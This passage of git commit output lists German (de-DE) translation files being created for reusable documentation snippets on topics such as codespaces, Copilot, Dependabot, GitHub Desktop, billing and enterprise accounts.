 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-org-policies.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-policy-targets.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-spending-limit-requirement.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/command-palette-container.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/committing-link-to-procedure.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/connect-to-codespace-from-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/contact-support.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/create-or-switch-branch.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/creating-a-codespace-in-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/customize-vcpus-and-ram.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/deleting-a-codespace-in-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/edit-devcontainer-json.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/ellipsis-settings.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/exporting-changes.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/forwarded-ports-environment-variable.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/links-to-get-started.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/max-number-codespaces.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/more-info-devcontainer.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/navigate-to-codespaces-page.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/navigate-to-ports-tab.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/next-steps-adding-devcontainer.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/open-codespace-from-template-repo.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/port-visibility-settings.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/prebuilds-crossreference.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/prebuilds-permission-authorization.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/rebuild-command.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/rebuild-reason.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/recovery-mode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/restrict-port-visibility.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/secret-precedence.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/secrets-naming.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/secrets-on-start.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/setup-custom-devcontainer.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/sidebar-secret.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/source-control-commit-changes.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/source-control-display-dark.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/source-control-display.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/source-control-pull-request.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/stopping-a-codespace.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/type-port-label.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/use-chrome.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/use-visual-studio-features.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/using-codespaces-in-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/ways-to-create-a-codespace.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/you-can-see-all-your-codespaces.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/your-codespaces-procedure-step.md
 create mode 100644 translations/de-DE/data/reusables/command-palette/beta-note.md
 create mode 100644 translations/de-DE/data/reusables/command-palette/change-scope.md
 create mode 100644 translations/de-DE/data/reusables/command-palette/open-palette.md
 create mode 100644 translations/de-DE/data/reusables/command_line/change-current-directory-clone.md
 create mode 100644 translations/de-DE/data/reusables/command_line/git-clone-url.md
 create mode 100644 translations/de-DE/data/reusables/command_line/local-clone-created.md
 create mode 100644 translations/de-DE/data/reusables/command_line/manipulating_file_prereqs.md
 create mode 100644 translations/de-DE/data/reusables/command_line/open_the_multi_os_terminal.md
 create mode 100644 translations/de-DE/data/reusables/command_line/provide-an-access-token.md
 create mode 100644 translations/de-DE/data/reusables/command_line/providing-token-as-password.md
 create mode 100644 translations/de-DE/data/reusables/command_line/start_ssh_agent.md
 create mode 100644 translations/de-DE/data/reusables/command_line/switching_directories_procedural.md
 create mode 100644 translations/de-DE/data/reusables/command_line/use_with_support_only.md
 create mode 100644 translations/de-DE/data/reusables/commits/about-commits.md
 create mode 100644 translations/de-DE/data/reusables/community/interaction-limits-duration.md
 create mode 100644 translations/de-DE/data/reusables/community/interaction-limits-restrictions.md
 create mode 100644 translations/de-DE/data/reusables/community/issue-forms-beta.md
 create mode 100644 translations/de-DE/data/reusables/community/report-content.md
 create mode 100644 translations/de-DE/data/reusables/community/set-interaction-limit.md
 create mode 100644 translations/de-DE/data/reusables/community/tools-for-moderating.md
 create mode 100644 translations/de-DE/data/reusables/community/types-of-interaction-limits.md
 create mode 100644 translations/de-DE/data/reusables/copilot/accept-or-reject-suggestion.md
 create mode 100644 translations/de-DE/data/reusables/copilot/accept-suggestion-new-tab.md
 create mode 100644 translations/de-DE/data/reusables/copilot/accept-suggestion-tab.md
 create mode 100644 translations/de-DE/data/reusables/copilot/accept-suggestion.md
 create mode 100644 translations/de-DE/data/reusables/copilot/alternative-suggestions.md
 create mode 100644 translations/de-DE/data/reusables/copilot/close-suggestions-tab.md
 create mode 100644 translations/de-DE/data/reusables/copilot/copilot-prerequisites.md
 create mode 100644 translations/de-DE/data/reusables/copilot/create-c-file.md
 create mode 100644 translations/de-DE/data/reusables/copilot/create-java-file.md
 create mode 100644 translations/de-DE/data/reusables/copilot/create-js-file.md
 create mode 100644 translations/de-DE/data/reusables/copilot/dotcom-settings.md
 create mode 100644 translations/de-DE/data/reusables/copilot/emus-cannot-use-copilot.md
 create mode 100644 translations/de-DE/data/reusables/copilot/enabling-disabling-in-jetbrains.md
 create mode 100644 translations/de-DE/data/reusables/copilot/enabling-or-disabling-in-vsc.md
 create mode 100644 translations/de-DE/data/reusables/copilot/enabling-or-disabling-vs.md
 create mode 100644 translations/de-DE/data/reusables/copilot/generating-suggestions-from-comments.md
 create mode 100644 translations/de-DE/data/reusables/copilot/getting-started-further-reading.md
 create mode 100644 translations/de-DE/data/reusables/copilot/install-copilot-in-neovim.md
 create mode 100644 translations/de-DE/data/reusables/copilot/jetbrains-ides.md
 create mode 100644 translations/de-DE/data/reusables/copilot/procedural-intro.md
 create mode 100644 translations/de-DE/data/reusables/copilot/reject-suggestions-escape.md
 create mode 100644 translations/de-DE/data/reusables/copilot/save-settings.md
 create mode 100644 translations/de-DE/data/reusables/copilot/see-alternative-suggestions.md
 create mode 100644 translations/de-DE/data/reusables/copilot/signup-procedure.md
 create mode 100644 translations/de-DE/data/reusables/copilot/suggestions-new-tab.md
 create mode 100644 translations/de-DE/data/reusables/copilot/supported-languages.md
 create mode 100644 translations/de-DE/data/reusables/copilot/type-function-header-c.md
 create mode 100644 translations/de-DE/data/reusables/copilot/type-function-header.md
 create mode 100644 translations/de-DE/data/reusables/copilot/windows-linux-next-suggestion.md
 create mode 100644 translations/de-DE/data/reusables/dashboard/access-org-dashboard.md
 create mode 100644 translations/de-DE/data/reusables/dashboard/recent-activity-qualifying-events.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/about-the-dependency-graph.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/automated-tests-note.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/beta-security-and-version-updates.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/check-in-dependabot-yml.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/click-dependabot-tab.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/configuration-options.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/default-dependencies-allow-ignore.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/default-labels.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-alerts-beta.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-scope.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-alerts-filters.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-tos.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/dependabot-updates-and-actions.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/enabling-actions-for-ghes.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/enterprise-enable-dependabot.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/initial-updates.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/option-affects-security-updates.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/private-dependencies-note.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/private-dependencies.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/pull-request-introduction.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/pull-request-security-vs-version-updates.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/result-discrepancy.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/sidebar-secret.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/supported-package-managers.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/version-updates-for-actions.md
 create mode 100644 translations/de-DE/data/reusables/dependabot/vulnerable-calls-beta.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/action-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/dependency-review-action-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/dependency-review-action-overview.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/dependency-review-enabled-ghes.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/feature-overview.md
 create mode 100644 translations/de-DE/data/reusables/dependency-review/short-summary.md
 create mode 100644 translations/de-DE/data/reusables/dependency-submission/about-dependency-submission.md
 create mode 100644 translations/de-DE/data/reusables/dependency-submission/dependency-submission-api-beta.md
 create mode 100644 translations/de-DE/data/reusables/dependency-submission/dependency-submission-link.md
 create mode 100644 translations/de-DE/data/reusables/desktop/2fa-in-browser.md
 create mode 100644 translations/de-DE/data/reusables/desktop/about-github-desktop.md
 create mode 100644 translations/de-DE/data/reusables/desktop/authenticate-in-browser.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-a-branch-to-merge.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-a-theme.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-clone-repository.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-local-path.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-pr-from-list.md
 create mode 100644 translations/de-DE/data/reusables/desktop/choose-product-authenticate.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-base-branch-in-drop-down.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-changed-files-header.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-clone.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-discard-files.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-discard.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-pull-requests.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-restore.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-save-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-stash-all-changes.md
 create mode 100644 translations/de-DE/data/reusables/desktop/click-stashed-changes.md
 create mode 100644 translations/de-DE/data/reusables/desktop/cloning-location-tab.md
 create mode 100644 translations/de-DE/data/reusables/desktop/cloning-repository-list.md
 create mode 100644 translations/de-DE/data/reusables/desktop/commit-all-desc.md
 create mode 100644 translations/de-DE/data/reusables/desktop/commit-button.md
 create mode 100644 translations/de-DE/data/reusables/desktop/commit-message.md
 create mode 100644 translations/de-DE/data/reusables/desktop/commit-some-desc.md
 create mode 100644 translations/de-DE/data/reusables/desktop/confirm-discard-files.md
 create mode 100644 translations/de-DE/data/reusables/desktop/confirm-merging-branch.md
 create mode 100644 translations/de-DE/data/reusables/desktop/confirm-new-branch-button.md
 create mode 100644 translations/de-DE/data/reusables/desktop/confirm-tag.md
 create mode 100644 translations/de-DE/data/reusables/desktop/copy-email-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/create-new-branch.md
 create mode 100644 translations/de-DE/data/reusables/desktop/create-tag.md
 create mode 100644 translations/de-DE/data/reusables/desktop/current-branch-menu.md
 create mode 100644 translations/de-DE/data/reusables/desktop/delete-branch-mac.md
 create mode 100644 translations/de-DE/data/reusables/desktop/delete-branch-win.md
 create mode 100644 translations/de-DE/data/reusables/desktop/delete-tag.md
 create mode 100644 translations/de-DE/data/reusables/desktop/download-desktop-page.md
 create mode 100644 translations/de-DE/data/reusables/desktop/fork-type-prompt.md
 create mode 100644 translations/de-DE/data/reusables/desktop/get-an-account.md
 create mode 100644 translations/de-DE/data/reusables/desktop/history-tab.md
 create mode 100644 translations/de-DE/data/reusables/desktop/launch-desktop-from-command-line.md
 create mode 100644 translations/de-DE/data/reusables/desktop/local-config-email.md
 create mode 100644 translations/de-DE/data/reusables/desktop/local-config-name.md
 create mode 100644 translations/de-DE/data/reusables/desktop/mac-repository-settings-menu.md
 create mode 100644 translations/de-DE/data/reusables/desktop/mac-select-accounts.md
 create mode 100644 translations/de-DE/data/reusables/desktop/mac-select-desktop-menu.md
 create mode 100644 translations/de-DE/data/reusables/desktop/make-changes.md
 create mode 100644 translations/de-DE/data/reusables/desktop/name-branch.md
 create mode 100644 translations/de-DE/data/reusables/desktop/name-field-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/name-tag.md
 create mode 100644 translations/de-DE/data/reusables/desktop/navigate-to-stashed-changes.md
 create mode 100644 translations/de-DE/data/reusables/desktop/open-repository-settings.md
 create mode 100644 translations/de-DE/data/reusables/desktop/preferences-options-tabs.md
 create mode 100644 translations/de-DE/data/reusables/desktop/protected-branches.md
 create mode 100644 translations/de-DE/data/reusables/desktop/publish-repository.md
 create mode 100644 translations/de-DE/data/reusables/desktop/push-origin.md
 create mode 100644 translations/de-DE/data/reusables/desktop/repository-settings-save.md
 create mode 100644 translations/de-DE/data/reusables/desktop/resolve-merge-conflicts.md
 create mode 100644 translations/de-DE/data/reusables/desktop/retrieve-2fa.md
 create mode 100644 translations/de-DE/data/reusables/desktop/return-to-desktop.md
 create mode 100644 translations/de-DE/data/reusables/desktop/revert-commit.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-base-branch.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-branch-to-delete.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-discard-files.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-email-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-fork-behavior.md
 create mode 100644 translations/de-DE/data/reusables/desktop/select-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/sign-in-browser.md
 create mode 100644 translations/de-DE/data/reusables/desktop/sign-in-choose-product.md
 create mode 100644 translations/de-DE/data/reusables/desktop/switching-between-branches.md
 create mode 100644 translations/de-DE/data/reusables/desktop/tags-push-with-commits.md
 create mode 100644 translations/de-DE/data/reusables/desktop/update-email-address.md
 create mode 100644 translations/de-DE/data/reusables/desktop/use-local-git-config.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows-choose-options.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows-repository-settings-menu.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows-select-accounts.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows_git_bash.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md
 create mode 100644 translations/de-DE/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md
 create mode 100644 translations/de-DE/data/reusables/developer-site/limit_workflow_to_activity_types.md
 create mode 100644 translations/de-DE/data/reusables/developer-site/multiple_activity_types.md
 create mode 100644 translations/de-DE/data/reusables/developer-site/pull_request_forked_repos_link.md
 create mode 100644 translations/de-DE/data/reusables/discussions/about-announcement-format.md
 create mode 100644 translations/de-DE/data/reusables/discussions/about-categories-and-formats.md
 create mode 100644 translations/de-DE/data/reusables/discussions/about-discussions.md
 create mode 100644 translations/de-DE/data/reusables/discussions/about-organization-discussions.md
 create mode 100644 translations/de-DE/data/reusables/discussions/click-discussion-in-list.md
 create mode 100644 translations/de-DE/data/reusables/discussions/discussions-tab.md
 create mode 100644 translations/de-DE/data/reusables/discussions/edit-categories.md
 create mode 100644 translations/de-DE/data/reusables/discussions/edit-category-details.md
 create mode 100644 translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md
 create mode 100644 translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md
 create mode 100644 translations/de-DE/data/reusables/discussions/github-recognizes-members.md
 create mode 100644 translations/de-DE/data/reusables/discussions/marking-a-comment-as-an-answer.md
 create mode 100644 translations/de-DE/data/reusables/discussions/navigate-to-repo-or-org.md
 create mode 100644 translations/de-DE/data/reusables/discussions/repository-category-limit.md
 create mode 100644 translations/de-DE/data/reusables/discussions/starting-a-discussion.md
 create mode 100644 translations/de-DE/data/reusables/discussions/starting-a-poll.md
 create mode 100644 translations/de-DE/data/reusables/discussions/you-can-categorize-discussions.md
 create mode 100644 translations/de-DE/data/reusables/discussions/you-can-convert-an-issue.md
 create mode 100644 translations/de-DE/data/reusables/discussions/you-can-label-discussions.md
 create mode 100644 translations/de-DE/data/reusables/discussions/you-can-use-discussions.md
 create mode 100644 translations/de-DE/data/reusables/docs/you-can-read-docs-for-your-product.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/500-error.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-minutes.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-packages-report-download.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-packages-storage.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/actions-packages-unpaid-account.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/add-payment-method.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/add-seats.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/cancel-pending-changes.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/change_plan_duration.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/choose_org_plan.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/confirm-add-seats.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/confirm_cancel_org_plan.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/confirm_duration_change.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/coupon-expires.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/downgrade-org-to-free.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/download_receipt.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/enter-billing-info.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/enter-payment-info.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/extra_info_receipt.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/finish_upgrade.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/lfs-add-data.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/lfs-data.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/lfs-remove-data.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/manage-spending-limit.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/monthly-spending-limit.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/next_billing_date.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/number-of-seats.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/org-billing-perms.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/owned_by_business.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/packages-data.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/payment-methods.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/redeem_coupon.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/remove-payment-method.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/remove_payment_info.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/review-pending-changes.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/same-payment-method.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/show-plan-details.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/switch-legacy-billing.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/update-spending-limit.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/update_payment_method.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/upgrade_org.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/view-all-subscriptions.md
 create mode 100644 translations/de-DE/data/reusables/dotcom_billing/view-payment-history.md
 create mode 100644 translations/de-DE/data/reusables/education/about-github-community-exchange-intro.md
 create mode 100644 translations/de-DE/data/reusables/education/about-github-education-link.md
 create mode 100644 translations/de-DE/data/reusables/education/access-github-community-exchange.md
 create mode 100644 translations/de-DE/data/reusables/education/apply-for-team.md
 create mode 100644 translations/de-DE/data/reusables/education/benefits-page.md
 create mode 100644 translations/de-DE/data/reusables/education/click-get-teacher-benefits.md
 create mode 100644 translations/de-DE/data/reusables/education/educator-requirements.md
 create mode 100644 translations/de-DE/data/reusables/education/pdf-support.md
 create mode 100644 translations/de-DE/data/reusables/education/plan-to-use-github.md
 create mode 100644 translations/de-DE/data/reusables/education/school-name.md
 create mode 100644 translations/de-DE/data/reusables/education/select-email-address.md
 create mode 100644 translations/de-DE/data/reusables/education/submit-application.md
 create mode 100644 translations/de-DE/data/reusables/education/upload-different-image.md
 create mode 100644 translations/de-DE/data/reusables/education/upload-proof-reapply.md
 create mode 100644 translations/de-DE/data/reusables/education/upload-proof-status.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/about-recovery-codes.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/access-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/actions-runner-groups-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/actions-runners-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/actions-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/add-a-domain.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/administrators-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/advanced-security-policies.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/advanced-security-security-features.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/approved-domains-about.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/approved-domains-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/audit-log-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/billing-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/continue-verifying-domain.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/dormant-user-release-phase.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/download-recovery-codes.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/email-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-azure-admin-consent.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-cap-validates.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-forks.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-more-info-account.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-password-reset-session.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-follow.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-fork.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-gist.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-interact.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-propose.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-permission-repo.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-saml-note.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-scim-note.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-short-summary.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-shortcode.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/emu-supported-idps.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-billing.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/enterprise-administrators.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/github-connect-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/hooks-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/invite-organization.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/license-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/messages-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/oidc-beta-notice.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/oidc-gei-warning.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/options-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/packages-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/pages-policies-save.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/pages-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/payment-information-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/people-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/policies-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/projects-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/repo-creation-policy.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/repo-creation-types.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/repositories-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/repository-deletion-policy.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/restrict-email-notifications-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/security-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/settings-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/support-entitlements.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/team-sync-override.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/to-upgrade-or-get-started.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/verified-domains-tab.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/view-current-policy-config-orgs.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/viewing-dormant-users.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-accounts/vss-ghe-description.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-licensing/about-license-sync.md
 create mode 100644 translations/de-DE/data/reusables/enterprise-licensing/contact-sales-for-renewals-or-seats.md
